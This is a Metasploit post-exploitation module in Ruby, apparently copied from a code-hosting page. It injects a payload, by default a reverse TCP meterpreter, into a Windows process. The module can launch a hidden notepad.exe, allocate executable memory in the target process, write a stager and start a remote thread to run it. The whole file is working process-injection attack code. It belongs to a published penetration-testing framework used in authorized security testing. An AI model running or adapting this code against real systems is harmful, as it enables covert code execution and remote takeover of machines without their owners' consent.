175 lines
5.2 KiB
Ruby
175 lines
5.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/exploit/exe'
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Manage Memory Payload Injection',
|
|
'Description' => %q{
|
|
This module will inject a payload into memory of a process. If a payload
|
|
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
|
|
datastore option isn't specified, then it'll inject into notepad.exe instead.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Carlos Perez <carlos_perez[at]darkoperator.com>',
|
|
'sinn3r'
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [ [ 'Windows', {} ] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate'=> "Oct 12 2011"
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
|
|
OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
|
|
], self.class)
|
|
end
|
|
|
|
# Run Method for when run command is issued
|
|
def exploit
|
|
@payload_name = datastore['PAYLOAD']
|
|
@payload_arch = framework.payloads.create(@payload_name).arch
|
|
|
|
# syinfo is only on meterpreter sessions
|
|
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
|
|
|
|
pid = get_pid
|
|
if not pid
|
|
print_error("Unable to get a proper PID")
|
|
return
|
|
end
|
|
|
|
if @payload_arch.first =~ /64/ and client.platform =~ /x86/
|
|
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
|
|
print_error("Migrate to an x64 process and try again.")
|
|
return false
|
|
else
|
|
inject_into_pid(pid)
|
|
end
|
|
end
|
|
|
|
# Figures out which PID to inject to
|
|
def get_pid
|
|
pid = datastore['PID']
|
|
if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
|
|
print_status("Launching notepad.exe...")
|
|
pid = create_temp_proc
|
|
end
|
|
|
|
return pid
|
|
end
|
|
|
|
|
|
# Determines if a PID actually exists
|
|
def has_pid?(pid)
|
|
procs = []
|
|
begin
|
|
procs = client.sys.process.processes
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
print_error("Unable to enumerate processes")
|
|
return false
|
|
end
|
|
|
|
pids = []
|
|
|
|
procs.each do |p|
|
|
found_pid = p['pid']
|
|
return true if found_pid == pid
|
|
end
|
|
|
|
print_error("PID #{pid.to_s} does not actually exist.")
|
|
|
|
return false
|
|
end
|
|
|
|
# Checks the Architeture of a Payload and PID are compatible
|
|
# Returns true if they are false if they are not
|
|
def arch_check(pid)
|
|
# get the pid arch
|
|
client.sys.process.processes.each do |p|
|
|
# Check Payload Arch
|
|
if pid == p["pid"]
|
|
vprint_status("Process found checking Architecture")
|
|
if @payload_arch.first == p['arch']
|
|
vprint_good("Process is the same architecture as the payload")
|
|
return true
|
|
else
|
|
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
|
|
return false
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
# Creates a temp notepad.exe to inject payload in to given the payload
|
|
# Returns process PID
|
|
def create_temp_proc()
|
|
windir = client.fs.file.expand_path("%windir%")
|
|
# Select path of executable to run depending the architecture
|
|
if @payload_arch.first== "x86" and client.platform =~ /x86/
|
|
cmd = "#{windir}\\System32\\notepad.exe"
|
|
elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
|
|
cmd = "#{windir}\\System32\\notepad.exe"
|
|
elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
|
|
cmd = "#{windir}\\Sysnative\\notepad.exe"
|
|
elsif @payload_arch.first == "x86" and client.platform =~ /x64/
|
|
cmd = "#{windir}\\SysWOW64\\notepad.exe"
|
|
end
|
|
|
|
begin
|
|
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
return nil
|
|
end
|
|
|
|
return proc.pid
|
|
end
|
|
|
|
def inject_into_pid(pid)
|
|
vprint_status("Performing Architecture Check")
|
|
return if not arch_check(pid)
|
|
|
|
begin
|
|
print_status("Preparing '#{@payload_name}' for PID #{pid}")
|
|
raw = payload.generate
|
|
|
|
print_status("Opening process #{pid.to_s}")
|
|
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
|
if not host_process
|
|
print_error("Unable to open #{pid.to_s}")
|
|
return
|
|
end
|
|
|
|
print_status("Allocating memory in procees #{pid}")
|
|
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
|
|
|
|
# Ensure memory is set for execution
|
|
host_process.memory.protect(mem)
|
|
|
|
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
|
|
print_status("Writing the stager into memory...")
|
|
host_process.memory.write(mem, raw)
|
|
host_process.thread.create(mem, 0)
|
|
print_good("Successfully injected payload in to process: #{pid}")
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Unable to inject payload:")
|
|
print_line(e.to_s)
|
|
end
|
|
end
|
|
|
|
end
|